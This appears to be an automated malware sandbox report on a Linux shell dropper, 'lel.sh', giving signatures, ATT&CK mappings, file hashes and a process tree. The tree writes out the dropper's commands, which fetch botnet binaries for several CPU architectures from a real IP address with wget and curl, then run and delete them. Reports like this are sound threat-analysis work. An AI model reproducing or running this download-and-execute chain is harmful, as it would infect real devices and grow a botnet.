97a32fe0056625fed452241b117355332a0e81ea94c99580a858a2b0437e81bd

Analysis

max time kernel
35s
max time network
41s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
25/09/2026, 09:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lel.sh
Size 1KB
Sample260925-lhzexsysfx
SHA256 97a32fe0056625fed452241b117355332a0e81ea94c99580a858a2b0437e81bd
MD5 b3b0de5e2a68cac75d43add4b8460d50
SHA1 ab2c32d426c454a92457b494e6e333bedd739349
SHA512 df4360b7a965d164ccb1b94ecda5ff3d31e63246f8a87923f4271e4d52045708fef0fc3390aab917833b5b29a41d1b25965fb23d1b87409747b1a5b38c40353e
TLSH
T1DF31E482A1948B72DE4DCE577A698D0C70D962C0A8D1FF0ADCFA65B7DD4EE483003E61
MD5 SHA1 SHA512 TLSH

Score

9^/10

antivm defense_evasion discovery

Malware Config

Signatures

Contacts a large (224480) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
716	chmod
748	chmod
771	chmod
775	chmod
780	chmod
673	chmod
684	chmod
710	chmod
744	chmod
757	chmod
766	chmod
689	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/x64s	685	lel.sh
/tmp/mips	712	lel.sh
/tmp/mpsl	745	lel.sh
/tmp/armv7	759	lel.sh

Renames itself 1 IoCs

pid	Process
759	armv7

Enumerates running processes
Discovers information about currently running processes on the system

Reads MAC address of network interface 2 TTPs 1 IoCs

Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

defense_evasion discovery

System Network Connections Discovery

T1049

Wi-Fi Discovery

T1016.002

description	ioc	Process
File opened for reading	/sys/class/net/eth0/address	armv7

Reads network interface configuration 2 TTPs 2 IoCs

Fetches information about one or more active network interfaces.

discovery

System Network Configuration Discovery

T1016

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/sys/class/net/eth0/carrier	armv7
File opened for reading	/sys/class/net/eth0/flags	armv7

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	upnpd	759	armv7

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	armv7

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/class/net	armv7

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/728/cmdline	armv7
File opened for reading	/proc/784/cmdline	armv7
File opened for reading	/proc/29/cmdline	armv7
File opened for reading	/proc/142/cmdline	armv7
File opened for reading	/proc/279/cmdline	armv7
File opened for reading	/proc/638/cmdline	armv7
File opened for reading	/proc/648/cmdline	armv7
File opened for reading	/proc/176/cmdline	armv7
File opened for reading	/proc/647/cmdline	armv7
File opened for reading	/proc/154/cmdline	armv7
File opened for reading	/proc/self/mountinfo	mount
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/802/cmdline	armv7
File opened for reading	/proc/806/cmdline	armv7
File opened for reading	/proc/318/cmdline	armv7
File opened for reading	/proc/796/cmdline	armv7
File opened for reading	/proc/42/cmdline	armv7
File opened for reading	/proc/762/cmdline	armv7
File opened for reading	/proc/770/cmdline	armv7
File opened for reading	/proc/776/cmdline	armv7
File opened for reading	/proc/807/cmdline	armv7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/20/cmdline	armv7
File opened for reading	/proc/21/cmdline	armv7
File opened for reading	/proc/276/cmdline	armv7
File opened for reading	/proc/687/cmdline	armv7
File opened for reading	/proc/777/cmdline	armv7
File opened for reading	/proc/5/cmdline	armv7
File opened for reading	/proc/24/cmdline	armv7
File opened for reading	/proc/309/cmdline	armv7
File opened for reading	/proc/767/cmdline	armv7
File opened for reading	/proc/4/cmdline	armv7
File opened for reading	/proc/17/cmdline	armv7
File opened for reading	/proc/326/cmdline	armv7
File opened for reading	/proc/799/cmdline	armv7
File opened for reading	/proc/805/cmdline	armv7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/23/cmdline	armv7
File opened for reading	/proc/781/cmdline	armv7
File opened for reading	/proc/filesystems	mount
File opened for reading	/proc/16/cmdline	armv7
File opened for reading	/proc/115/cmdline	armv7
File opened for reading	/proc/585/cmdline	armv7
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/83/cmdline	armv7
File opened for reading	/proc/760/cmdline	armv7
File opened for reading	/proc/800/cmdline	armv7
File opened for reading	/proc/773/cmdline	armv7
File opened for reading	/proc/self/exe	armv7
File opened for reading	/proc/146/cmdline	armv7
File opened for reading	/proc/18/cmdline	armv7
File opened for reading	/proc/26/cmdline	armv7
File opened for reading	/proc/104/cmdline	armv7
File opened for reading	/proc/329/cmdline	armv7
File opened for reading	/proc/587/cmdline	armv7
File opened for reading	/proc/11/cmdline	armv7
File opened for reading	/proc/572/cmdline	armv7
File opened for reading	/proc/765/cmdline	armv7
File opened for reading	/proc/1/cmdline	armv7
File opened for reading	/proc/27/cmdline	armv7
File opened for reading	/proc/112/cmdline	armv7
File opened for reading	/proc/143/cmdline	armv7
File opened for reading	/proc/286/cmdline	armv7

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
690	wget
694	curl
712	mips
714	rm

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x64s	curl
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/armv7	wget
File opened for modification	/tmp/armv7	curl
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/x64s	wget
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/mpsl	wget
File opened for modification	/tmp/mpsl	curl

/tmp/lel.sh
/tmp/lel.sh
1⤵
- Executes dropped EXE
PID:649
- /bin/mount
  mount -t tmpfs tmpfs /var/run
  2⤵
  - Reads runtime system information
  PID:651
- /bin/mount
  mount -o "remount,rw,exec" /var/run
  2⤵
  PID:654
- /bin/mount
  mount -o "remount,rw,exec" /tmp
  2⤵
  - Reads runtime system information
  PID:659
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:667
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:673
- /usr/bin/wget
  wget http://143.20.185.213/x64s
  2⤵
  - Writes file to tmp directory
  PID:675
- /usr/bin/curl
  curl -O http://143.20.185.213/x64s
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:683
- /bin/chmod
  chmod +x busybox lel.sh systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-vzUaSI x64s
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/x64s
  ./x64s x64s
  2⤵
  PID:685
- /bin/rm
  rm -rf x64s
  2⤵
  PID:688
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /usr/bin/wget
  wget http://143.20.185.213/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:690
- /usr/bin/curl
  curl -O http://143.20.185.213/mips
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:694
- /bin/chmod
  chmod +x busybox lel.sh mips systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-vzUaSI
  2⤵
  - File and Directory Permissions Modification
  PID:710
- /tmp/mips
  ./mips mips
  2⤵
  - System Network Configuration Discovery
  PID:712
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:714
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:716
- /usr/bin/wget
  wget http://143.20.185.213/mpsl
  2⤵
  - Writes file to tmp directory
  PID:717
- /usr/bin/curl
  curl -O http://143.20.185.213/mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod +x busybox lel.sh mpsl systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-vzUaSI
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/mpsl
  ./mpsl mpsl
  2⤵
  PID:745
- /bin/rm
  rm -rf mpsl
  2⤵
  PID:747
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /usr/bin/wget
  wget http://143.20.185.213/armv7
  2⤵
  - Writes file to tmp directory
  PID:749
- /usr/bin/curl
  curl -O http://143.20.185.213/armv7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:750
- /bin/chmod
  chmod +x armv7 busybox lel.sh systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-vzUaSI
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/armv7
  ./armv7 armv7
  2⤵
  - Renames itself
  - Reads MAC address of network interface
  - Reads network interface configuration
  - Changes its process name
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:759
- /bin/rm
  rm -rf armv7
  2⤵
  PID:762
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /usr/bin/wget
  wget http://143.20.185.213/armv5
  2⤵
  PID:768
- /usr/bin/curl
  curl -O http://143.20.185.213/armv5
  2⤵
  PID:769
- /bin/chmod
  chmod +x busybox lel.sh libcow.so systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-vzUaSI
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/armv5
  ./armv5 armv5
  2⤵
  PID:773
- /bin/rm
  rm -rf armv5
  2⤵
  PID:774
- /bin/chmod
  chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /usr/bin/wget
  wget http://143.20.185.213/aarch64
  2⤵
  PID:776
- /usr/bin/curl
  curl -O http://143.20.185.213/aarch64
  2⤵
  PID:778
- /bin/chmod
  chmod +x busybox lel.sh libcow.so systemd-private-ca58c200cb1f4f39aae1ef79f7813d63-systemd-timedated.service-vzUaSI
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/aarch64
  ./aarch64 aarch64
  2⤵
  PID:782
- /bin/rm
  rm -rf aarch64
  2⤵
  PID:783

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

armv7

Path /tmp/armv7
Size 587KB
SHA256 be0c23d94d35369045deeb2c0d28cab1955aa3a32b3895ec4e9eae5acb5f705e
MD5 a83b9377c7f8be37c0b232f82cd467cc
SHA1 baa747e6af712b3bc1b4a6f3ca056b1f4df9e97b
SHA512 890a1b0fe9db651b7d4ff58801f10df3113942fba97ed54896ecb141c7d64a3acf9504e297a61a273ffa8dc324be056dcb83d82f8484b0af507ce3811fc9a2ca
SSDEEP 12288:hD6qsPhFXRHcgjvgASEg45U1dBEgpYNQpdtfbGnJarZ:s7XRHVjv1wBdZfbiJar
TLSH
T1CBD4AE53F6661D5FC4E38A3E3463C27AC263E25517939306B70AF6783D9627ACF09284
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

busybox

Path /tmp/busybox
Size 507KB
SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
MD5 e588bcf03ae78237b58899d35f50c570
SHA1 2194732ebbefbc27bdae876c77f2a97a20175710
SHA512 904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555
SSDEEP 12288:KKCUYnMx/qAPbFabrimkuc+GnCIRki2jEyfbPxG3:KKqKqsbF2ZjGIrPfbPxG3
TLSH
T1EEB4E0C9FD812D83C6C3823D32021C759575D5DDB3AA921A322DA0FB3768AB653DE394
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 837KB
SHA256 87636741a0c01869a100e6d9d396eafe24d8392cd543af30f07d9c28291be1ce
MD5 83e660d9e4215b3e51d949259f832140
SHA1 a3bbc45e88b6a5b1e11d594b4ae3294d5d9be7b6
SHA512 b3b24a5d04285f7d4151986328a1aaa82486a4d730af3410018d1a75428a6ca036a5e25b74d5678332a2d484d96bc2eca61fc9edd682a25c42b32529698b8030
SSDEEP 24576:Q0kerzMd7EAKZnfiC4pjGwn/6aBInEMSm0:ArC4p3nUEn
TLSH
T1EB057D53F7318F54D360D27908E3876596A625A20BE395C6A37DC2203A1077D6CAFFE8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mpsl

Path /tmp/mpsl
Size 837KB
SHA256 d8345bb95655a579aa299c71e68bed0efa65601eb3d2c99063d111d67fd2b3ba
MD5 4e356328beca92e5b9988a712596927d
SHA1 e2c14bd9a7340f56d3c27821716d7a1ba286bf40
SHA512 c0e842cdc4ff654604c840fe9094b4bc3d4f838ce1850a251f3c56e93be9ada349d180595de750dfb89dbad8c5db5086a289285b21affdead2e619f6c50010a2
SSDEEP 24576:zcprbpT16vbWN9fDK8J5+gpkBz1X1MSm:zGUY+gqF
TLSH
T14F056D02EF971FEBC8BBCE34853F830705ED899746D2AB7461BC8958B6892194FD7448
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x64s

Path /tmp/x64s
Size 951KB
SHA256 2aabae20e3321ad0e102a7a3fcf546115a310710110712dad7b43127fa0eb6b0
MD5 b71854f1604a029e5ff8f628c56285de
SHA1 acea454e0cb3668cfdacf23480781aa042a6b748
SHA512 25dcb08a45e107a2af9a408a0bf2b4d8501faa41284ff95a03cc146c61b76a84d66a651090b330c5582ff46707235f53321c534a8b610be41ffa891ae13ba1f4
SSDEEP 12288:uRt0XrjAphNgIifGxKkamon66VT8ddH4dmPOF2NFjVRU2aay6UKuHXQRq3:ufdhNgwgmo6+JF2NFjVRJxRq3
TLSH
T137257B1AB2E2B0BCD017C03007DFDA629775F07726226E7B36C49A352D5FDA52369B21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads